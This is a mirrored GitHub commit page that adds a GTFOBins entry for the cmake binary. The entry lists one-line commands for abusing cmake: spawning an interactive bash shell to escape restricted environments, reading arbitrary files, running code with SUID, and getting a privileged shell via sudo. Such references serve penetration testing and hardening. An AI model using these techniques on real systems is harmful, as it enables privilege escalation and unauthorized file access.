mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-23 20:03:16 +01:00
Added entry for 'cmake' binary
This commit is contained in:
parent
ac8e667a7e
commit
2868bedf21
24
_gtfobins/cmake.md
Normal file
24
_gtfobins/cmake.md
Normal file
@ -0,0 +1,24 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- description: It can be used to break out from a restricted environment by spawning an interactive system shell.
|
||||
code: |
|
||||
echo "execute_process(COMMAND bash -i)" > CMakeLists.txt
|
||||
cmake .
|
||||
file-read:
|
||||
- description: It can read files, and may be used to perform privileged reads or discloe files outside a restrited file system
|
||||
code: |
|
||||
LFILE=file_to_read
|
||||
cmake -E cat $LFILE
|
||||
|
||||
limited-suid:
|
||||
- description: It can perform execution in a privileged context, given the SUID bit is set
|
||||
code: |
|
||||
echo "execute_process(COMMAND whoami)" > CMakeLists.txt
|
||||
cmake .
|
||||
sudo:
|
||||
- description: It can perform execution in a privileged context, given the user can run the binary with sudo
|
||||
code: |
|
||||
echo "execute_process(COMMAND bash -i)" > CMakeLists.txt
|
||||
sudo cmake .
|
||||
---
|
Loading…
Reference in New Issue
Block a user